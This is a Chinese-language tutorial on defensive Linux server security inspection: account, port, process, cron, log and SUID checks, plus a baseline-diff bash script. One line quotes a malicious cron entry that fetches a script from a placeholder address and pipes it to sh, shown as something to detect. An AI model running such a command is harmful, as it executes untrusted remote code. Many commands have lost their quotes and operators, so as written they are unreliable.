
简介这是一份面向运维工程师、系统管理员及安全从业者的服务器安全巡检实操文档围绕日常巡检的规范流程与落地方法展开帮助读者建立可执行的服务器安全自查机制。文档以安全管理为主线依次讲解巡检的重要性、关注点、覆盖内容、具体操作步骤以及异常管理与跟踪并附有服务器巡检表模板涵盖用户和组、系统服务、系统进程、防火墙、防病毒系统、系统日志、数据库、备份执行情况、磁盘权限、网站上传目录、FTP用户及权限、系统补丁升级等检查项便于直接套用或按需裁剪。资源包内含1个docx文件整体约163KB采用A4打印与可编辑排版适合打印成册或二次修改后作为团队巡检规范使用。目前已有164人学习下载适合需要梳理巡检清单、规范操作流程或补齐安全管理短板的读者参考。1. 服务器安全巡检到底在巡什么从一次被忽略的日志说起很多团队第一次认真做服务器安全巡检都是被一次事故逼出来的。某公司内网一台对外提供接口的机器磁盘告警没人管运维重启后才发现/var/log里塞满了异常登录记录而真正的入侵入口是一个三个月没改过密码、还开着 22 端口的测试账号。事后复盘问题不是没有工具而是没人把「巡检」当成一件有固定内容、固定方法、固定输出的事来做。服务器安全巡检说白了就是按一套清单周期性地检查服务器的账号、权限、端口、进程、日志、补丁、文件完整性这些面把「当前状态」和「应有状态」做比对发现偏差就处理。它和渗透测试不是一回事渗透是主动找漏洞巡检是持续确认防线还在不在。适合谁适合手里管着几台到几百台机器、没有专职安全团队、但又必须对线上负责的开发和运维。这篇就把巡检的内容清单和方法路径拆开讲让你能照着搭一套自己的巡检流程。2. 巡检内容清单账号、端口、进程、日志四件套怎么查巡检内容看着杂其实可以收敛成四类谁在系统里账号与权限、系统开了哪些门端口与服务、门后面在跑什么进程与计划任务、以及有没有人撬过门日志与文件变更。这四类覆盖了绝大多数日常风险先把它们查透再谈加固。2.1 账号与权限先找出不该存在的登录入口账号巡检的核心是回答三个问题有哪些可登录账号、哪些账号有 sudo 权限、哪些账号的密码或密钥长期没动。很多入侵留下的后门就是一个 UID 为 0 的隐藏账号或者一个被塞进authorized_keys的公钥。先看可登录账号。系统里 UID 小于 1000 的一般是系统账号正常不应该有登录 shell。下面这条命令把 shell 不是 nologin/false 的账号列出来# 列出所有拥有可登录 shell 的账号 awk -F: ($3 1000 || $3 0) $7 !~ /(nologin|false)/ {print $1, $3, $7} /etc/passwd # 单独检查 UID 为 0 的账号正常只应有 root 一个 awk -F: $3 0 {print $1} /etc/passwd逻辑说明/etc/passwd每行七个字段$3是 UID$7是登录 shell。第一条把 UID 大于等于 1000 或等于 0、且 shell 可登录的账号挑出来这些是真正能进系统的入口。第二条专门盯 UID 为 0因为多出来的 UID 0 账号几乎可以断定是后门。参数上阈值 1000 是多数发行版普通用户的起始 UID如果你用的是特殊发行版先确认login.defs里的UID_MIN。再看 sudo 权限。/etc/sudoers和/etc/sudoers.d/下的文件决定了谁能提权# 检查 sudoers 配置过滤掉注释行 grep -vE ^\s*#|^\s*$ /etc/sudoers ls -l /etc/sudoers.d/ grep -rE NOPASSWD|ALL /etc/sudoers.d/ 2/dev/nullNOPASSWD意味着免密提权如果它出现在一个普通业务账号上等于把 root 权限敞开了。巡检时要确认每一条 sudo 规则都有明确归属找不到主人的规则就是风险。最后是密钥和密码时效。检查authorized_keys里有没有陌生公钥检查密码最后修改时间# 查看各账号密码最后修改时间第二字段为天数从1970-01-01算起 awk -F: {print $1, $3} /etc/shadow # 列出所有用户的 authorized_keys 及其内容指纹 find /home /root -name authorized_keys -exec ls -l {} \; 2/dev/null/etc/shadow第三字段是最后一次改密码的天数换算成日期就能看出哪些账号长期没改。常见做法是给巡检脚本设一个阈值比如超过 90 天就标黄超过 180 天标红。2.2 端口与服务把不该对外开的门关上端口巡检要区分两件事哪些端口在监听、监听在哪个地址。监听在0.0.0.0意味着所有网卡都能访问监听在127.0.0.1则只限本机。很多数据库事故就是 MySQL 监听在0.0.0.0:3306且密码很弱。# 查看所有监听端口及对应进程需要 root 才能看到进程名 ss -tulnp # 只看对外监听排除 127.0.0.1 和 ::1 ss -tuln | grep -vE 127\.0\.0\.1|::1ss的-t是 TCP-u是 UDP-l是监听状态-n是显示端口号而非服务名-p显示进程。巡检时把这份输出和一份「已知服务白名单」比对白名单外的监听端口都要问一句这是谁开的、能不能关。服务层面还要看开机自启项因为有些后门会注册成服务# systemd 系统查看启用的服务 systemctl list-unit-files --typeservice --stateenabled # 传统 init 系统查看自启脚本 ls -l /etc/rc*.d/ 2/dev/null | grep -v ^total常见做法是维护一份基线新机器装好后记录一次 enabled 服务列表之后巡检只报差异。这样比每次全量看要省力得多也更容易发现异常新增。2.3 进程与计划任务找出手动藏起来的持久化进程巡检的重点不是看 CPU 占用而是找「不该在跑的」和「藏得很深的」。挖矿木马、反弹 shell 通常表现为一个名字奇怪、路径在/tmp或/dev/shm下的进程。# 列出进程的可执行文件路径重点看 /tmp /dev/shm /var/tmp ps -eo pid,user,comm,args | grep -E /tmp|/dev/shm|/var/tmp # 查看进程打开的网络连接找出对外通信的可疑进程 ss -tnp | grep ESTABps -eo自定义输出列args是完整命令行比comm更能暴露真实路径。ss -tnp看已建立的 TCP 连接如果某个陌生进程正连着外部 IP基本可以确定有问题。计划任务是另一个高频持久化点。cron 和 systemd timer 都要查# 查看所有用户的 crontab for u in $(cut -d: -f1 /etc/passwd); do crontab -l -u $u 2/dev/null; done # 查看系统级 cron 目录 ls -l /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ 2/dev/null # 查看 systemd timer systemctl list-timers --all巡检时对每一条计划任务都要能说清用途。如果发现一条*/5 * * * * curl http://某地址 | sh这种不用犹豫直接按事件处理。2.4 日志与文件完整性确认有没有人撬过门日志巡检解决的是「已经发生了什么」。重点看认证日志、sudo 日志和关键目录的文件变更。# 查看最近登录失败记录Debian/Ubuntu 系 grep Failed password /var/log/auth.log | tail -50 # CentOS/RHEL 系 grep Failed password /var/log/secure | tail -50 # 统计失败次数最多的来源 IP grep Failed password /var/log/auth.log | awk {print $(NF-3)} | sort | uniq -c | sort -rn | headawk {print $(NF-3)}取的是倒数第四个字段在标准 sshd 失败日志里正好是来源 IP。统计出来如果某个 IP 有几千次失败说明正在被暴力破解要么封 IP要么直接改端口加密钥登录。文件完整性靠基线比对。没有商业工具时可以用find按时间筛出近期被改过的关键文件# 找出 /etc 下最近 7 天被修改过的文件 find /etc -type f -mtime -7 -ls 2/dev/null # 找出 SUID 文件提权后门常设 SUID find / -perm -4000 -type f 2/dev/null-mtime -7表示修改时间在 7 天以内-perm -4000匹配 SUID 位。SUID 文件列表应该相对稳定新增一个就要查来源。常见做法是把这两条命令的输出存成基线文件巡检时用diff比对。3. 巡检方法落地从手动命令到可复现脚本内容清单有了接下来要解决「怎么持续做」。纯手动敲命令只能应付一两台机器机器一多就必须脚本化。这一章讲怎么把上面的检查项组织成一个能定时跑、能出报告、能告警的巡检流程。3.1 巡检脚本的结构采集、比对、报告三段式一个能长期用的巡检脚本结构上分三段采集原始数据、和基线比对、生成可读报告。不要把所有逻辑塞在一个大函数里否则加一项检查就要动全身。下面是一个最小骨架用 bash 实现采集部分按检查项拆成独立函数#!/bin/bash # 服务器安全巡检最小骨架 # 用法: ./inspect.sh [输出目录] OUT_DIR${1:-/var/log/inspect} TS$(date %Y%m%d_%H%M%S) REPORT$OUT_DIR/report_$TS.txt mkdir -p $OUT_DIR # 采集账号检查 check_accounts() { echo 可登录账号 awk -F: ($3 1000 || $3 0) $7 !~ /(nologin|false)/ {print $1, $3, $7} /etc/passwd echo UID 0 账号 awk -F: $3 0 {print $1} /etc/passwd } # 采集端口检查 check_ports() { echo 对外监听端口 ss -tuln | grep -vE 127\.0\.0\.1|::1 } # 采集SUID 文件 check_suid() { echo SUID 文件 find / -perm -4000 -type f 2/dev/null } # 主流程 { echo 巡检时间: $(date) echo 主机名: $(hostname) check_accounts check_ports check_suid } $REPORT 21 echo 报告已生成: $REPORT逻辑说明每个check_*函数只负责采集一类数据并打印主流程用花括号把标准输出和标准错误一起重定向到报告文件。这样加检查项只需新增一个函数并在主流程里调用。参数上$1是输出目录默认/var/log/inspect建议放在有轮转策略的目录下避免报告把磁盘写满。3.2 基线比对用 diff 找出「今天和昨天不一样」采集只是第一步真正有价值的是比对。把第一次干净状态的报告存为基线之后每次巡检都和基线做 diff差异部分就是需要人工确认的。# 首次运行生成基线 ./inspect.sh /var/log/inspect cp /var/log/inspect/report_*.txt /var/log/inspect/baseline.txt # 后续巡检后比对 diff /var/log/inspect/baseline.txt /var/log/inspect/report_最新.txtdiff的输出里开头是基线有、现在没有的开头是现在新增的。新增的监听端口、新增的 SUID 文件、新增的 UID 0 账号这三类差异优先级最高。不过直接 diff 全文会有噪音因为报告里带了时间戳、进程 PID 这类每次都变的内容。常见做法是在采集阶段就把易变字段过滤掉比如端口检查只保留端口号和监听地址不保留 PID# 端口检查去掉 PID 列只留协议、地址、端口 ss -tuln | awk NR1 {print $1, $5} | sort这样基线才稳定diff 出来的才是真差异。这一步是很多自建巡检脚本翻车的地方——基线不稳定天天报一堆假差异最后没人看。3.3 定时执行与告警让巡检自己跑起来脚本能跑通后用 cron 或 systemd timer 定时执行。频率上账号、端口、SUID 这类变化不频繁的每天一次足够日志类检查可以更频繁但要注意日志轮转。# 每天凌晨 3 点执行巡检输出追加到日志 0 3 * * * /opt/inspect/inspect.sh /var/log/inspect /var/log/inspect/cron.log 21告警部分最简单的做法是巡检脚本在发现高危差异时返回非零退出码再由 cron 的邮件机制或外部监控收走。更实用的做法是在脚本里直接判断# 检查是否有新增 UID 0 账号有则告警 EXTRA_ROOT$(awk -F: $3 0 {print $1} /etc/passwd | grep -v ^root$) if [ -n $EXTRA_ROOT ]; then echo 告警: 发现额外 UID 0 账号: $EXTRA_ROOT 2 exit 1 figrep -v ^root$排除正常的 root剩下的就是异常。退出码 1 会被 cron 捕获并触发邮件。参数上告警阈值要按团队实际响应能力设报得太多等于没报。4. 避坑与排查巡检脚本上线后最容易翻车的五个点巡检脚本写完只是开始真正折磨人的是上线后的各种意外。下面五条是我和身边同行踩过的坑按「现象 → 原因 → 解决」写清楚。现象一报告每天都有大量差异看不过来。原因采集内容里混入了 PID、时间戳、临时文件路径这类每次都变的字段。解决在采集阶段就用awk、sort把易变字段过滤掉只保留稳定标识基线生成后先手动跑三天确认 diff 为空再正式启用。现象二脚本在测试机正常到生产机报权限错误。原因ss -p、读取/etc/shadow、find /都需要 root而 cron 默认以普通用户执行。解决把巡检脚本的 cron 任务配成 root 执行或者用 sudo 精确授权需要的命令不要图省事给脚本整体 SUID。现象三find /把磁盘 IO 打满影响业务。原因全盘扫描 SUID 文件在大磁盘上很重如果和业务高峰重叠就会拖慢服务。解决把find限制在关键目录/usr、/bin、/sbin、/etc或者用ionice降低优先级ionice -c3 find / -perm -4000。现象四日志检查报「文件不存在」。原因不同发行版日志路径不同Debian 系是/var/log/auth.logRHEL 系是/var/log/secure还有的用 journald。解决脚本里先判断文件是否存在不存在就回退到journalctlif [ -f /var/log/auth.log ]; then LOG/var/log/auth.log elif [ -f /var/log/secure ]; then LOG/var/log/secure else journalctl -u sshd --since 1 day ago /tmp/sshd_tmp.log LOG/tmp/sshd_tmp.log fi现象五基线被误更新之后所有差异都检测不到。原因有人图省事每次巡检后直接把最新报告覆盖成基线等于把「异常状态」当成了「正常状态」。解决基线更新必须人工确认且只在确认差异都是合理变更后才执行把基线文件设为只读或者放到需要额外权限才能写的目录。5. 进阶技巧把巡检结果变成可追溯的安全档案巡检做到后面真正的价值不在于「今天发现了什么」而在于「过去三个月这台机器的安全状态是怎么变化的」。把每次巡检结果结构化存储就能回答「这个端口是什么时候开的」「这个账号是什么时候出现的」这类追溯问题。一个轻量做法是把报告转成 CSV每次巡检追加一行字段固定为日期、主机名、可登录账号数、对外监听端口数、SUID 文件数、新增差异数。这样用表格软件就能画出趋势异常增长一眼可见。# 从报告里提取关键指标追加到 CSV REPORT$(ls -t /var/log/inspect/report_*.txt | head -1) DATE$(date %F) HOST$(hostname) ACC$(awk /可登录账号/,/UID 0/ $REPORT | grep -cE ^[a-z]) PORT$(awk /对外监听端口/,/SUID/ $REPORT | grep -cE ^(tcp|udp)) SUID$(awk /SUID 文件/,0 $REPORT | grep -c /) echo $DATE,$HOST,$ACC,$PORT,$SUID /var/log/inspect/trend.csv逻辑说明awk /起始标记/,/结束标记/截取报告里对应段落grep -c统计行数。参数上起始和结束标记要和报告里的标题文字完全一致改报告格式时记得同步改这里。这个 CSV 积累几个月后配合简单的折线图就能看出哪些指标在缓慢漂移。再进一步可以把巡检和配置管理工具结合。比如用 Ansible 批量拉取所有机器的巡检报告集中比对或者把基线文件纳入版本控制每次基线变更都有 commit 记录谁改的、为什么改一目了然。这一步的门槛不高但能让巡检从「个人习惯」变成「团队资产」。我自己的习惯是每次处理完一个巡检告警都在基线文件的 commit message 里写清楚原因比如「开放 8080 给新服务已确认」。半年后回头看这份记录比任何文档都管用。巡检这件事工具只是辅助真正靠的是把「确认异常」和「更新基线」这两个动作坚持做下去。希望帮到你。本文还有配套的精品资源点击获取